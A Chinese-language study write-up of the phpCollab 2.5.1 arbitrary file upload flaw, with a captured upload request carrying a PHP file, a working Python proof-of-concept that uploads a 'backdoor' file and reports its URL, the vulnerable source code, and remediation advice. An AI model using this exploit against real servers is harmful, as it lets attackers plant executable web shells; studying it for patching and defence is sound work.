phpCollab 2.5.1 - Arbitrary File Upload
漏洞的学习。
phpCollab 2.5.1 - Arbitrary File Upload
背景介绍
看到phpcollab
被爆出一个任意文件上传漏洞,下载下来测试学习一下,其中的漏洞利用,poc的编写,以及代码产生漏洞的原因。
直接在自己搭建的服务器上安装就行了。
复现
必须注册一个账户,登录后台里面。在客户–客户组织–编辑处,上传文件的地方存在任意文件上传漏洞。
在标志处,需要上传文件。
F12–查看该标志文件的地址,知道在"../logos_clients/
目录下面。
直接上传就可以,Burpsuite抓包,看一下。
POST /phpcollab/clients/editclient.php?id=2&action=update&PHPSESSID=sos714moqg2obs6sc24p55hko1 HTTP/1.1
Host: 192.168.86.194
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------17918258359334
Content-Length: 1162
Referer: http://192.168.86.194/phpcollab/clients/editclient.php?id=2&PHPSESSID=sos714moqg2obs6sc24p55hko1
Cookie: tvfe_search_uid=258421f8-2e1a-4028-bed3-f686ba62c586; PHPSESSID=sos714moqg2obs6sc24p55hko1
Connection: close
Upgrade-Insecure-Requests: 1
-----------------------------17918258359334
Content-Disposition: form-data; name="MAX_FILE_SIZE"
100000000
-----------------------------17918258359334
Content-Disposition: form-data; name="cn"
test
-----------------------------17918258359334
Content-Disposition: form-data; name="add"
test
-----------------------------17918258359334
Content-Disposition: form-data; name="client_phone"
11111111
-----------------------------17918258359334
Content-Disposition: form-data; name="url"
1111111
-----------------------------17918258359334
Content-Disposition: form-data; name="email"
11111111234@sina.com
-----------------------------17918258359334
Content-Disposition: form-data; name="comments"
-----------------------------17918258359334
Content-Disposition: form-data; name="hourly_rate"
111.00
-----------------------------17918258359334
Content-Disposition: form-data; name="upload"; filename="test.php"
Content-Type: application/octet-stream
<?php phpinfo();?>
-----------------------------17918258359334
Content-Disposition: form-data; name="extensionOld"
txt
-----------------------------17918258359334--
我们通过标志处,就可以知道上传的文件被重新命令了,但还是php后缀。
很多时候都是上传后的文件,路径找不到,或者文件名字被修改。但这次顺利通过其源码可以找到,然后访问。
POC编写
知道一个漏洞后,想着要自动化或者提高效率,需要写一个脚本来实现其中的功能。
POC已经给出了,学习一下其中的原理。利用requests
实现文件的上传。
#!/usr/bin/python
# -*- coding:utf-8 -*-
import os
import sys
import requests
if __name__ == '__main__':
if(len(sys.argv) !=4):
print("Enter your target,userid and path for file upload like: python phpcollab.py http://127.0.0.1/phpcollab/ 2 C:\Users\Administrator\Desktop\test.php") #使用方法
target = '%s/clients/editclient.php?id=%s&action=update' %(sys.argv[1],sys.argv[2])
#sys.argv[1] 第二个参数,目标地址,sys.argv[2] userid
print("[*] Trying to exploit with URL: %s..." % target)
backdoor = {'upload':open(sys.argv[3],'rb')} #读取上传的文件内容,字典形式,键upload
r = requests.post(target,files=backdoor) #requests.post 上传文件
extension = os.path.splitext(sys.argv[3])[1] #取后缀名
link = "%s/logos_clients/%s%s" % (sys.argv[1],sys.argv[2],extension) #上传后文件的路径
r = requests.get(link)
if r.status_code == 200: #判断是否上传成功
print("[OK] Backdoor link: %s" % link)
else:
print("[FAIL]Problem(status:%s) (link:%s)" % (r.status_code,link))
利用,可以上传成功。
漏洞分析
利用以及poc完成之后,开始从源代码分析,是哪里出现了问题。
出现漏洞的代码在 \clients\editclient.php
里面,这就是对客户信息修改的代码文件。
//case update client organization
if ($id != "")
{
if ($action == "update")
{
if ($logoDel == "on")
{
$tmpquery = "UPDATE ".$tableCollab["organizations"]." SET extension_logo='' WHERE id='$id'"; //内容的更新
connectSql("$tmpquery");
@unlink("../logos_clients/".$id.".$extensionOld"); #删除旧的文件
}
$extension = strtolower( substr( strrchr($_FILES['upload']['name'], ".") ,1) );
// 后缀名字 substr(string,start,length),但是没有对其进行过滤。
if(@move_uploaded_file($_FILES['upload']['tmp_name'], "../logos_clients/".$id.".$extension"))
//move_uploaded_file() 函数将上传的文件移动到新位置。
{
chmod("../logos_clients/".$id.".$extension",0666);
$tmpquery = "UPDATE ".$tableCollab["organizations"]." SET extension_logo='$extension' WHERE id='$id'";
connectSql("$tmpquery");
}
任意文件上传漏洞修复
- 对上传文件格式限制,只允许某些格式文件上传。使用白名单
- 对文件格式进行校验,前端和服务器端都需要校验。
- 将上传文件的目录,设置权限。一般上传的都是静态文件,所以需要对其目录设置禁止执行权限。
- 将上传的文件的名字进行随机命名。